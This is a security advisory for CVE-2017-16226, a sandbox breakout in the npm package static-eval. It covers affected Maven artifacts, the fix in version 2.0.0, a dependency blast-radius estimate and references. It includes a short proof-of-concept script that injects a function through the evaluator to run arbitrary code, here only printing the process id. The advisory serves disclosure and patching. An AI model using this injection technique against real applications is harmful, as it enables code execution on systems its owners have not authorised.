MODERATE
CVE-2017-16226
Sandbox Breakout / Arbitrary Code Execution in static-eval
Description
Affected versions of static-eval pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
Proof of concept
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = '(function(){console.log(process.pid)})()';
var ast = parse(src).body[0].expression;
var res = evaluate(ast, {});
// Will print the process id
Recommendation
Update to version 2.0.0 or later.
Affected Maven artifacts (2)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » static-evalvia npm static-eval | < 2.0.0 | 2.0.0 |
| org.webjars.npm » static-evalvia npm static-eval | < 2.0.0 | 2.0.0 |
Blast radius
1affected artifacts
2affected versions
0dependent artifacts (est.)
0dependent versions
Computed from the dependency graph of build 20261204.0837 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2017-16226 | nvd.nist.gov |
| Advisory | GitHub advisory GHSA-5mjw-6jrh-hvfq | github.com |
| Web | substack/static-eval pull request #18 | github.com |
| Web | articles/2017-10/static_eval | maustin.net |
| Web | advisories/548 | npmjs.com |
